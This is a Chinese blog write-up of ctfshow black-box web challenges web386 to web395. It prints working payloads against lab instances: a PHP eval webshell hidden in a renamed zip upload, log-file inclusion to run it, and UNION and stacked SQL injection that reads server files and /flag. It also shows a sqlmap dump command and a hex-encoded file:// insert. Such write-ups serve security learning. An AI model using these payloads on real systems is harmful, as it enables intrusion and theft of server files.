ctfshow-黑盒测试


web386

  • 查看源码

    image-20210730151523104

  • 各种尝试访问页面,去除根目录之后

image-20210730151625247

  • 跑脚本,解码成二进制
import requests

url = "http://6a515a5e-f28a-46cd-9a7d-52e94fa89d5b.challenge.ctf.show:8080//layui/css/tree.css"

s = requests.get(url)

print(s.content.decode('utf-8'))

image-20210730150537910

  • 访问clear.php
  • 尝试一下安装目录

image-20210730150721913

  • 猜想利用clear.php,删除lock.dat

image-20210730151143715

  • 访问安装目录

image-20210730151223599

  • 删除成功,重新安装

image-20210730151311880

  • 在后台页面admin888弱口令登陆

web387

  • robots.txt

image-20210730154114296

  • 访问/debug/

image-20210730154146593

  • 可能需要提供一个文件参数,尝试日志文件

image-20210730154239842

成功包含了日志文件

  • 尝试访问/debug/时向日志文件中写入一句话

image-20210730154606307

  • 再次访问日志文件,之后访问2.txt

image-20210730154714845

  • 可以写入,之后查找遍历各个文件寻找flag

image-20210730154853563

  • flag在``alsckdfycheck.php`中

Web388(editor)

  • 根据源码,找到编辑器
/alsckdfy/editor/

image-20210730160901273

允许上传zip,html等文件,编写1.txt,改后缀名为1.zip

<?php

$a = '<?ph'.'p ev'.'al($_PO'.'ST[1]);?>';
file_put_contents('/var/www/html/1.php',$a);
?>
  • 上传文件,复制文件路径

image-20210730164928757

  • 通过/debug/?file=参数传给日志文件
/debug/?file=/var/www/html/alsckdfy/attached/file/20210730/20210730084203_44752.zip
  • 访问日志文件。执行一句话
/debug/?file=/var/log/nginx/access.log

不需要显示

  • 访问1.php,包含成功执行rce

image-20210730165309290

web389

  • 访问/debug/,发现权限不足,找session
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYyNzYzNTg5MSwiZXhwIjoxNjI3NjQzMDkxLCJuYmYiOjE2Mjc2MzU4OTEsInN1YiI6InVzZXIiLCJqdGkiOiJmNTFiNWRhYzdhNzg3M2I5YjcwNGQwNzllN2FiNGM4YyJ9.PRTvpWgacNGn7HYET_WQ4iEEfZtwcTgVuPO-M07h1c4

jwt


image-20210730170727757

image-20210730170657401

  • 尝试上一题做法

  • 编辑器写入文件后上传

image-20210730170954475

  • 直接访问2.php,rce

web390

  • 存在sql注入

image-20210730172518181

  • 尝试读取文件

http://de618e54-7015-4db3-981a-e23e603eba13.challenge.ctf.show:8080/page.php?id=1 union select 1,(select group_concat(username) from admin_user),(substr((select load_file('/var/www/html/alsckdfy/check.php')),1,255)) limit 1,1#
  • 查看源代码

web391

  • 出现新的搜索框,尝试sql注入

image-20210730173653596

  • 加载文件

http://f0b35f86-a675-4c66-8cf8-4e6a9302e2fa.challenge.ctf.show:8080/search.php?title=aa' union select 1,substr((select load_file('/var/www/html/alsckdfy/check.php')),1,255),3 limit 0,1%23

web392

  • 同上,只不过flag换了位置
http://6802164f-1727-49a3-86a7-75fc1ba088bd.challenge.ctf.show:8080/search.php?title=aa' union select 1,substr((select load_file('/flag')),1,255),3 limit 0,1%23

web393

  • 多了一个搜索引擎

image-20210730175545537

image-20210730175609956

  • 这里猜想可能是根据id值,查询数据库得到对应的网址
  • 利用刚才的标题框,进行sqlmap爆破数据库

image-20210730175752072

python3 sqlmap.py -u "http://c6010f50-7daf-4e6a-951a-d17a16127c95.challenge.ctf.show:8080/search.php?title=1" --dbms='mysql' --batch --dump

image-20210730180442808

  • 尝试修改link表中的url/flag
?title=aa';update link set url='file:///flag';select 1,2,'a

web394

  • 向link表中插入值,并由16进制绕过
search.php?title=1';insert into link values(10,'a',0x66696c653a2f2f2f7661722f7777772f68746d6c2f616c73636b6466792f636865636b2e706870);
  • 访问link.php?id=10,查看源代码

web395

  • 同上

文章作者: 尘落
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 尘落 !
评论
  目录